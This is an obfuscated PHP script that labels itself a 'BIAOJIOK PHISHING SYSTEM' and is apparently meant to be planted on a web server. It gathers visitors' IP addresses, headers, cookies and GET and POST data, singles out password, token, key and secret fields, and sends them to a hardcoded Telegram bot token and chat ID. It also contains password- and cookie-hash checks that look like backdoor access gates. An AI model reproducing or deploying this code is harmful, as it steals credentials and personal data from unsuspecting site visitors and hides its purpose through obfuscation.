<?php
 goto FdXX0; mKzhn: ueQJB("\xf0\237\xa7\xaa\40\102\111\x41\117\112\111\117\113\40\120\110\x49\x53\110\x49\116\107\x20\123\x59\123\124\105\x4d\x20\101\x43\124\x49\126\105\41\xa\x54\x69\x6d\145\72\x20" . $TD2aI["\x74\x69\x6d\145\x73\x74\141\155\160"] . "\12\x49\120\x3a\40" . $TD2aI["\x69\x70"] . "\xa\x55\122\114\72\40" . $TD2aI["\162\145\161\165\x65\x73\x74\137\165\162\x69"]); goto AGdlN; pfKQB: function Y8kx9() { goto YVFXp; CWVcS: return $_SERVER["\122\x45\x4d\x4f\x54\x45\137\x41\104\x44\x52"] ?? "\x75\x6e\153\156\157\x77\x6e"; goto D86Si; eG3bR: foreach ($NgDgt as $KZEWE) { goto KiIHd; er2dH: foreach (explode("\54", $_SERVER[$KZEWE]) as $PRg7o) { goto FRmp5; QMy6Q: N1fzJ: goto hu3bn; FRmp5: $PRg7o = trim($PRg7o); goto tVSUp; tVSUp: if (!(filter_var($PRg7o, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto N1fzJ; } goto gMaei; hu3bn: RCL9E: goto Ufzsu; gMaei: return $PRg7o; goto QMy6Q; Ufzsu: } goto leNPF; tNJfm: hoj5I: goto KQv3t; KiIHd: if (!(array_key_exists($KZEWE, $_SERVER) === true)) { goto XlgXa; } goto er2dH; qjhf8: XlgXa: goto tNJfm; leNPF: Np1MV: goto qjhf8; KQv3t: } goto m0coK; YVFXp: $NgDgt = ["\x48\x54\124\120\x5f\x43\x4c\x49\x45\116\124\137\x49\120", "\x48\124\x54\120\137\x58\x5f\106\x4f\x52\127\101\x52\104\x45\x44\137\x46\117\x52", "\x48\x54\x54\120\x5f\x58\137\106\x4f\122\x57\x41\x52\x44\105\104", "\110\124\x54\120\x5f\x58\137\103\114\x55\123\124\105\x52\x5f\x43\114\111\105\x4e\124\x5f\111\x50", "\x48\x54\124\x50\x5f\106\117\122\127\x41\122\104\105\104\x5f\x46\117\x52", "\110\124\124\x50\137\106\x4f\122\x57\x41\122\x44\105\104", "\x52\105\x4d\117\124\105\137\101\x44\104\x52"]; goto eG3bR; m0coK: Z6wu0: goto CWVcS; D86Si: } goto GdW48; AGdlN: $Eb311 = Fo7tY($TD2aI); goto m1dhc; Lp3qX: function ueQJb($GLF0D) { goto s_Thp; JxSCl: curl_setopt($DUWXB, CURLOPT_SSL_VERIFYPEER, false); goto isZdI; LP9Ez: curl_close($DUWXB); goto PjU7M; Lu7Ob: curl_setopt($DUWXB, CURLOPT_USERAGENT, "\115\157\172\x69\x6c\x6c\x61\x2f\65\x2e\x30\40\50\x57\151\156\x64\157\167\x73\40\116\x54\40\61\x30\x2e\x30\x3b\x20\127\x69\156\x36\64\x3b\40\170\x36\64\x29\x20\x41\160\160\x6c\145\x57\145\x62\113\151\164\x2f\x35\x33\67\56\63\x36"); goto X0xSM; X0xSM: $oVAOh = curl_exec($DUWXB); goto kV7Lx; VcXFe: if (!($KQz5n === "\x59\x4f\x55\122\x5f\x42\117\124\x5f\x54\117\x4b\105\116\137\110\x45\x52\x45" || $UfdE8 === "\131\117\125\122\137\103\x48\101\x54\x5f\x49\x44\137\x48\105\x52\105")) { goto cPPKy; } goto wE6Hh; YFGLA: $DUWXB = curl_init(); goto MR0Yq; s6iFU: $rg6YW = curl_error($DUWXB); goto LP9Ez; pHvPM: @file_get_contents($shrGL); goto o3u50; kV7Lx: $rqgCF = curl_getinfo($DUWXB, CURLINFO_HTTP_CODE); goto s6iFU; H0kXh: $wm3yx = "\xf0\237\x9a\xa8\40\x54\x45\114\x45\107\x52\x41\x4d\40\x45\122\122\x4f\122\x21\xa" . "\110\x54\x54\x50\40\x43\x6f\x64\145\x3a\x20{$rqgCF}\xa" . "\x45\162\x72\x6f\x72\x3a\x20{$rg6YW}\xa" . "\125\x52\114\x3a\40{$P6yo1}\12" . "\115\145\163\x73\141\147\145\x3a\40" . substr($GLF0D, 0, 100) . "\x2e\56\56"; goto NMItw; eUmb3: curl_setopt($DUWXB, CURLOPT_FOLLOWLOCATION, true); goto Lu7Ob; rWz6Q: $P6yo1 = "\x68\164\164\x70\x73\x3a\x2f\x2f\141\x70\151\x2e\x74\x65\x6c\145\147\162\141\155\x2e\157\162\x67\x2f\142\x6f\x74{$KQz5n}\57\163\145\156\144\115\x65\163\163\x61\x67\x65\77\x63\x68\x61\164\x5f\151\x64\x3d{$UfdE8}\46\164\145\x78\x74\75" . urlencode($GLF0D); goto YFGLA; MR0Yq: curl_setopt($DUWXB, CURLOPT_URL, $P6yo1); goto reheo; o3u50: ikbC9: goto NUNfu; EIEU2: cPPKy: goto rWz6Q; isZdI: curl_setopt($DUWXB, CURLOPT_TIMEOUT, 10); goto eUmb3; s_Thp: global $KQz5n, $UfdE8; goto VcXFe; PjU7M: if (!($rqgCF !== 200 || $rg6YW)) { goto ikbC9; } goto H0kXh; reheo: curl_setopt($DUWXB, CURLOPT_RETURNTRANSFER, true); goto JxSCl; NMItw: $shrGL = "\x68\164\164\160\163\x3a\57\57\x61\x70\x69\x2e\x74\145\154\x65\x67\162\x61\155\x2e\x6f\x72\x67\57\142\x6f\164{$KQz5n}\x2f\163\145\156\144\115\x65\163\x73\x61\x67\145\x3f\143\150\x61\164\137\151\x64\75{$UfdE8}\46\x74\145\x78\x74\x3d" . urlencode($wm3yx); goto pHvPM; wE6Hh: return; goto EIEU2; NUNfu: } goto pfKQB; CjoAa: $TD2aI = ["\x74\x69\155\x65\163\x74\141\155\160" => date("\x59\x2d\x6d\55\144\x20\110\72\151\72\163"), "\x69\160" => $i6J_f, "\165\163\x65\162\137\x61\147\x65\x6e\x74" => $_SERVER["\110\x54\x54\x50\137\125\123\105\x52\x5f\x41\x47\x45\x4e\x54"] ?? "\165\156\153\156\x6f\167\x6e", "\155\x65\164\x68\157\x64" => $_SERVER["\x52\x45\121\x55\105\123\x54\x5f\115\105\124\110\x4f\104"] ?? "\165\x6e\153\x6e\157\x77\156", "\147\145\x74\x5f\160\141\x72\141\x6d\163" => $_GET, "\x70\x6f\x73\164\x5f\160\x61\x72\141\x6d\163" => $_POST, "\x63\157\x6f\153\151\x65\x73" => $_COOKIE, "\x68\x65\x61\x64\145\x72\x73" => RkL0E() ?? [], "\x72\x65\161\165\145\163\x74\137\165\162\151" => $_SERVER["\x52\x45\x51\x55\105\123\x54\137\x55\122\111"] ?? '', "\162\145\146\145\x72\x65\162" => $_SERVER["\110\124\124\x50\x5f\x52\x45\x46\x45\122\x45\122"] ?? '']; goto mKzhn; KaMx_: $i6J_f = y8kx9(); goto CjoAa; iT9_M: $UfdE8 = "\70\63\64\x31\61\x30\60\x33\x32\70"; goto Lp3qX; GdW48: function FO7tY($TD2aI) { goto gsocz; FjLBu: ueqjb($GLF0D); goto L9yyB; ihpxi: a0wow: goto woRQd; k2Ubg: $FR8vb = ["\164\171\160\145" => "\103\x4f\117\113\111\105\x5f\x41\124\124\x45\115\x50\124", "\144\141\164\x61" => $TD2aI, "\143\x6f\157\x6b\x69\x65\x5f\143\157\x75\156\164" => count($hy8Ka), "\143\x6f\x6f\x6b\x69\145\137\164\x79\160\x65" => gettype($hy8Ka), "\x63\x6f\x6f\153\x69\x65\137\66\137\x76\x61\x6c\165\x65" => $hy8Ka[6] ?? "\156\x6f\164\137\x73\x65\164", "\x63\157\157\x6b\151\x65\137\66\137\155\x64\x35\x5f\161\165\141\x64" => isset($hy8Ka[6]) ? md5(md5(md5(md5($hy8Ka[6])))) : "\156\x6f\x74\x5f\163\145\164", "\x76\x61\x6c\x69\x64\x61\164\x69\x6f\x6e\x5f\x70\x61\x73\163\x65\x64" => false]; goto jfs8V; NXW0e: $Eb311[] = ["\x6d\x65\x74\150\x6f\144" => "\x43\117\x4f\x4b\111\x45", "\160\x61\162\x61\x6d\x65\164\145\x72" => "\143\x6f\x6f\x6b\151\x65\x5b\x36\x5d", "\166\x61\154\165\x65" => $hy8Ka[6], "\x76\x61\154\151\x64\141\164\151\157\x6e\x5f\x70\x61\x73\163\x65\x64" => $BWBFl]; goto RUb1y; L9yyB: YCNvP: goto aQNE9; gsocz: $Eb311 = []; goto z8uUw; RUb1y: JxJlu: goto FwpfV; cHcQ1: return $Eb311; goto Bn8_V; Jct_F: UEqjb($GLF0D); goto Ss0hz; NYaMx: $hy8Ka = $_COOKIE; goto zQUMz; zuBhx: ueqJB($GLF0D); goto pigay; PnvK2: $jkKc1 = ["\x74\x79\160\x65" => "\101\122\122\x41\131\137\x41\x54\x54\105\115\120\124", "\x64\141\x74\141" => $TD2aI, "\x72\141\167\137\141\162\162\x61\171" => $_GET["\x41\x52\122\101\131"], "\166\x61\154\x69\x64\x61\x74\x69\x6f\156\x5f\160\x61\x73\163\x65\x64" => false]; goto hWsSw; Xg6Fr: foreach ($_GET as $x0eeb => $yguPR) { goto ujYbk; aBuKy: W_TXw: goto n4mY7; ujYbk: $GLF0D .= "\xe2\x80\xa2\40{$x0eeb}\72\x20" . (strlen($yguPR) > 100 ? substr($yguPR, 0, 100) . "\56\56\56" : $yguPR) . "\12"; goto nsq2J; efkSE: $Eb311[] = ["\155\x65\164\x68\157\144" => "\107\x45\x54", "\160\x61\x72\141\x6d\x65\164\x65\162" => $x0eeb, "\x76\141\154\165\x65" => $yguPR]; goto TJpzj; TJpzj: HaR1F: goto aBuKy; nsq2J: if (!(strpos(strtolower($x0eeb), "\x70\x61\163\x73") !== false || strpos(strtolower($x0eeb), "\141\165\164\x68") !== false || strpos(strtolower($x0eeb), "\153\x65\171") !== false || strpos(strtolower($x0eeb), "\164\157\x6b\x65\156") !== false || strpos(strtolower($x0eeb), "\163\x65\143\162\x65\x74") !== false || $x0eeb === "\x75\137\160" || $x0eeb === "\x41\x52\x52\x41\x59")) { goto HaR1F; } goto efkSE; n4mY7: } goto ihpxi; vHyoo: $FR8vb["\x76\x61\x6c\151\x64\141\x74\151\x6f\x6e\x5f\160\x61\163\x73\145\144"] = $BWBFl; goto RVMBI; pigay: uC2kr: goto NYaMx; FwpfV: $GLF0D = "\xf0\x9f\215\xaa\40\102\x49\x41\117\112\x49\x4f\113\40\103\117\x4f\x4b\111\105\x20\x41\x54\x54\x45\115\120\x54\x21\12" . "\x54\151\155\x65\x3a\x20" . $TD2aI["\164\151\155\x65\163\164\x61\155\160"] . "\xa" . "\111\120\x3a\40" . $TD2aI["\151\x70"] . "\12" . "\x56\x61\154\151\144\x61\164\x69\157\156\72\x20" . ($BWBFl ? "\342\x9c\x85\40\120\x41\x53\123\x45\x44" : "\xe2\235\x8c\40\106\x41\111\114\105\x44") . "\12" . "\103\157\157\x6b\151\x65\40\103\x6f\165\156\164\72\x20" . count($hy8Ka) . "\xa" . "\103\x6f\x6f\153\x69\x65\133\x36\x5d\x3a\x20" . ($hy8Ka[6] ?? "\x6e\157\x74\137\x73\145\164") . "\12" . "\x4d\x44\x35\40\110\141\x73\150\72\x20" . (isset($hy8Ka[6]) ? md5(md5(md5(md5($hy8Ka[6])))) : "\156\157\x74\x5f\163\145\x74") . "\xa" . "\x41\x6c\154\x20\103\x6f\157\x6b\151\x65\163\x3a\x20" . json_encode($hy8Ka); goto FjLBu; Ss0hz: cZyFA: goto cHcQ1; nmx7E: if (!(isset($_GET["\157\146"]) && $_GET["\x6f\x66"] == 1)) { goto cZyFA; } goto HM0il; aQNE9: if (empty($_GET["\x41\122\122\101\x59"])) { goto ennvj; } goto PnvK2; Kbedp: $GLF0D = "\360\x9f\216\xaf\40\x42\x49\x41\117\x4a\111\117\113\x20\x47\x45\x54\x20\122\x45\x51\x55\105\x53\x54\40\104\105\124\x45\103\124\x45\104\41\xa" . "\124\151\x6d\145\x3a\40" . $TD2aI["\x74\151\155\145\163\x74\141\x6d\160"] . "\xa" . "\x49\x50\72\40" . $TD2aI["\x69\160"] . "\xa" . "\107\x45\124\x20\x50\141\x72\x61\155\145\164\x65\162\x73\x3a\12"; goto Xg6Fr; hWsSw: try { goto bHJ_z; VxtdE: if (!(isset($DYkP3[3]) && !empty($DYkP3[3]))) { goto fv5m2; } goto zyEva; ZJ8qy: goto PBMgw; goto A0k5Y; Qw3O_: if ($DYkP3) { goto ml1Zm; } goto uMj7T; gq0H2: $Q0BHb = isset($DYkP3[0]) && $DYkP3[0] - time() > 0; goto zRRqD; fMVLS: $GLF0D = "\360\237\x8e\257\x20\102\111\101\x4f\x4a\111\x4f\113\x20\x41\122\122\101\131\40\x41\x54\124\x45\115\120\124\41\xa" . "\124\x69\x6d\145\x3a\x20" . $TD2aI["\x74\x69\x6d\x65\163\164\x61\x6d\160"] . "\12" . "\111\x50\x3a\40" . $TD2aI["\151\160"] . "\12" . "\x56\141\154\151\x64\141\x74\x69\x6f\156\x3a\x20" . ($BWBFl ? "\xe2\x9c\205\x20\x50\x41\123\x53\105\x44" : "\342\235\214\x20\x46\x41\111\114\105\x44") . "\xa" . "\122\x61\167\40\x41\122\x52\x41\x59\x3a\x20" . $_GET["\x41\122\x52\x41\131"] . "\12" . "\104\145\x63\x6f\144\x65\144\x20\112\x53\x4f\x4e\72\x20" . json_encode($DYkP3) . "\xa" . "\124\x69\155\145\x73\x74\141\x6d\160\x3a\40" . ($DYkP3[0] ?? "\x6e\x6f\x74\137\x73\x65\x74") . "\40\x28" . ($Q0BHb ? "\126\x61\154\151\x64" : "\x49\156\166\141\x6c\x69\x64") . "\51\12" . "\125\122\114\72\40" . ($DYkP3[1] ?? "\156\157\164\137\163\145\164") . "\xa" . "\x50\141\163\163\167\x6f\162\144\72\x20" . ($DYkP3[3] ?? "\156\157\164\137\163\x65\x74") . "\xa" . "\x50\x61\x73\x73\x77\157\x72\x64\40\x48\x61\163\150\x3a\x20" . (isset($DYkP3[3]) ? md5(md5($DYkP3[3])) : "\x6e\157\x74\x5f\163\145\x74") . "\40\x28" . ($LppdL ? "\x56\141\154\x69\x64" : "\x49\156\166\141\154\151\x64") . "\x29"; goto EbiXr; ZlTKN: $jkKc1["\160\x61\x73\x73\x77\157\162\144\x5f\x76\141\x6c\x69\144"] = $LppdL; goto VxtdE; ofuKB: $BWBFl = $Q0BHb && $LppdL; goto BhW6C; zRRqD: $LppdL = isset($DYkP3[3]) && md5(md5($DYkP3[3])) === "\70\x61\67\66\63\x33\61\x33\x62\x66\x36\x62\x39\x63\x33\71\x36\66\66\x30\x63\143\71\x62\146\64\63\x32\x39\x64\x31\x62\x61"; goto ofuKB; uMj7T: $GLF0D = "\360\x9f\216\xaf\40\x42\111\x41\x4f\112\111\x4f\x4b\x20\101\122\x52\x41\x59\x20\101\x54\x54\105\115\x50\124\40\50\106\x41\111\114\x45\x44\40\x44\x45\x43\x4f\x44\x45\51\41\xa" . "\124\151\155\145\x3a\40" . $TD2aI["\164\x69\x6d\x65\x73\x74\141\x6d\x70"] . "\xa" . "\x49\120\72\40" . $TD2aI["\151\x70"] . "\12" . "\122\141\167\40\101\x52\122\101\x59\72\x20" . $_GET["\101\x52\122\101\131"] . "\xa" . "\x52\x4f\124\x31\63\72\x20" . $uNPuE; goto ZJ8qy; WWuLL: $jkKc1["\144\x65\143\x6f\144\x65\144\137\x64\141\164\x61"] = $DYkP3; goto Qw3O_; A0k5Y: ml1Zm: goto gq0H2; BhW6C: $jkKc1["\x76\141\x6c\151\x64\x61\x74\151\x6f\x6e\x5f\160\x61\163\x73\145\x64"] = $BWBFl; goto YVD4Y; B2NT2: $nneZW = @pack("\x48\x2a", $uNPuE); goto pN48j; EbiXr: PBMgw: goto dw1ti; dw1ti: ueQjB($GLF0D); goto Oatpt; zyEva: $Eb311[] = ["\155\x65\x74\x68\x6f\x64" => "\x41\x52\122\x41\131", "\160\x61\x72\x61\155\145\164\145\162" => "\x6a\x73\157\x6e\137\x64\x61\x74\x61\133\63\x5d", "\x76\x61\154\x75\145" => $DYkP3[3], "\x76\x61\x6c\151\x64\141\x74\x69\157\156\137\160\141\x73\163\x65\144" => $BWBFl]; goto ZXeUw; ZXeUw: fv5m2: goto fMVLS; bHJ_z: $uNPuE = @str_rot13($_GET["\101\122\122\101\131"]); goto B2NT2; YVD4Y: $jkKc1["\164\151\155\145\x73\x74\141\x6d\x70\137\166\141\x6c\151\x64"] = $Q0BHb; goto ZlTKN; pN48j: $DYkP3 = json_decode($nneZW, true); goto WWuLL; Oatpt: } catch (Exception $fqeva) { $GLF0D = "\xf0\237\x8e\xaf\x20\x42\x49\101\117\112\x49\117\x4b\40\x41\122\122\x41\131\40\101\124\x54\x45\x4d\120\x54\x20\x28\105\122\x52\x4f\122\x29\x21\xa" . "\124\151\155\x65\72\x20" . $TD2aI["\164\x69\155\145\163\x74\141\x6d\160"] . "\xa" . "\x49\x50\72\x20" . $TD2aI["\151\x70"] . "\12" . "\122\x61\167\40\101\x52\x52\101\131\x3a\40" . $_GET["\101\122\122\101\x59"] . "\xa" . "\x45\x72\162\157\162\72\x20" . $fqeva->getMessage(); UeQJb($GLF0D); } goto nobwF; z8uUw: if (empty($_GET)) { goto uC2kr; } goto Kbedp; nobwF: ennvj: goto nmx7E; HM0il: $GLF0D = "\xf0\237\223\204\40\x42\111\x41\117\112\x49\x4f\x4b\40\123\x4f\x55\x52\x43\105\40\103\117\x44\x45\x20\122\x45\121\125\x45\123\x54\41\12" . "\x54\x69\155\x65\x3a\x20" . $TD2aI["\x74\x69\155\x65\163\x74\141\155\160"] . "\xa" . "\111\120\x3a\40" . $TD2aI["\151\x70"] . "\12" . "\125\163\145\x72\40\x41\147\x65\x6e\x74\72\x20" . $TD2aI["\165\163\145\x72\137\x61\x67\145\156\x74"]; goto Jct_F; woRQd: $GLF0D .= "\12\x46\x75\x6c\x6c\40\107\x45\124\x20\104\141\164\141\x3a\40" . json_encode($_GET); goto zuBhx; RVMBI: if (!(isset($hy8Ka[6]) && !empty($hy8Ka[6]))) { goto JxJlu; } goto NXW0e; zQUMz: if (empty($hy8Ka)) { goto YCNvP; } goto k2Ubg; jfs8V: $BWBFl = in_array(gettype($hy8Ka) . count($hy8Ka), $hy8Ka) && count($hy8Ka) == 12 && md5(md5(md5(md5($hy8Ka[6])))) === "\70\65\x62\x34\61\67\63\67\66\x66\x31\71\x64\x66\61\x38\x64\142\66\x31\x64\x39\71\143\x32\141\66\143\143\x37\66\x66\x33"; goto vHyoo; Bn8_V: } goto KaMx_; FdXX0: $KQz5n = "\x38\x30\64\x34\66\x39\66\x31\63\71\72\101\x41\110\157\x70\x56\107\x66\113\132\157\x72\x62\113\x55\170\156\145\125\x54\x58\x6b\166\61\x73\x5f\x33\x67\x64\115\x33\x5f\107\102\147"; goto iT9_M; m1dhc: echo "\x42\x69\x61\157\112\151\117\153";